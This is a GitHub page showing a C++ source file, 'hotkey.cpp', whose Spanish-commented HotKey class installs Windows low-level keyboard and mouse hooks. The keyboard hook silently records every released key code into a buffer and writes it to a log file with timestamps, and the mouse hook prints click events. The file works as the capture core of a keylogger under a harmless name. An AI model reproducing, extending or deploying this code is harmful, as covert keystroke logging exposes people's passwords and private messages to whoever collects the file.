-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathhotkey.cpp
More file actions
107 lines (94 loc) · 2.97 KB
/
Copy pathhotkey.cpp
File metadata and controls
107 lines (94 loc) · 2.97 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
#include "hotkey.h"
#define MAPVK_VK_TO_CHAR 2
/**
* Metodo que inicializa la monitorizacion de eventos de teclado y raton
*/
DWORD HotKey::init(){
std::cout << "HotKey::init" << std::endl;
salir = false;
string fecha = "\r\n" + Constant::fecha() + "\r\n";
archivo.writeToFile(DATAOUT, (char *)fecha.c_str(), fecha.length(), true);
return capture( (void *) NULL);
}
/**
*
*/
DWORD HotKey::capture(void *ptr){
#ifdef WIN
SetKeyboardHook();
SetMouseHook();
MSG msg;
std::cout << "Empezando getmessage" << std::endl;
while(GetMessage(&msg, NULL, 0, 0) > 0){
TranslateMessage(&msg);
DispatchMessage(&msg);
}
std::cout << "Fin getmessage" << std::endl;
return 1;
#else
std::cout << "Iniciando sleep" << std::endl;
for (int i=0; i < 5; i++){
std::cout << "Contando: " << i << std::endl;
sleep(1);
}
return 1;
#endif
}
#ifdef WIN
/**
* Metodo para detectar pulsaciones del teclado
*/
LRESULT HotKey::LowLevelKeyboardProc( int nCode, WPARAM wParam, LPARAM lParam ){
KBDLLHOOKSTRUCT *pKeyBoard = (KBDLLHOOKSTRUCT *)lParam;
switch( wParam )
{
case WM_KEYUP: // When the key has been pressed and released
{
buff->add(pKeyBoard->vkCode);
if (buff->getSize() >= buff->MAX_KEYS){
archivo.writeToFile(DATAOUT, buff->getData(), buff->getSize(), true);
buff->clear();
}
}
break;
default:
return CallNextHookEx( NULL, nCode, wParam, lParam );
}
return 0;
}
/**
* Metodo para detectar pulsaciones de raton
*/
LRESULT HotKey::LowLevelMouseProc( int nCode, WPARAM wParam, LPARAM lParam )
{
// static POINTS ptsCursor; // coordinates of mouse cursor
MOUSEINPUT *pMouse = (MOUSEINPUT *)lParam;
switch( wParam )
{
case WM_RBUTTONDOWN:
case WM_LBUTTONDOWN:
case WM_MBUTTONDOWN:
// ptsCursor = MAKEPOINTS(lParam);
std::cout << "Button down x: " << pMouse->dx << " y: " << pMouse->dy << std::endl; // Show us when the key has been pushed
break;
case WM_RBUTTONUP:
case WM_LBUTTONUP:
case WM_MBUTTONUP:
// ptsCursor = MAKEPOINTS(lParam);
std::cout << "Button up x: " << pMouse->dx << " y: " << pMouse->dy << std::endl; // Show us when the key has been pushed
break;
case WM_LBUTTONDBLCLK:
case WM_RBUTTONDBLCLK:
case WM_MBUTTONDBLCLK:
// ptsCursor = MAKEPOINTS(lParam);
std::cout << "Button dblclk x: " << pMouse->dx << " y: " << pMouse->dy << std::endl; // Show us when the key has been pushed
break;
case WM_MOUSEWHEEL:
std::cout << "Button mousewheel" << std::endl; // Show us when the key has been pushed
break;
default:
return CallNextHookEx( NULL, nCode, wParam, lParam );
}
return 0;
}
#endif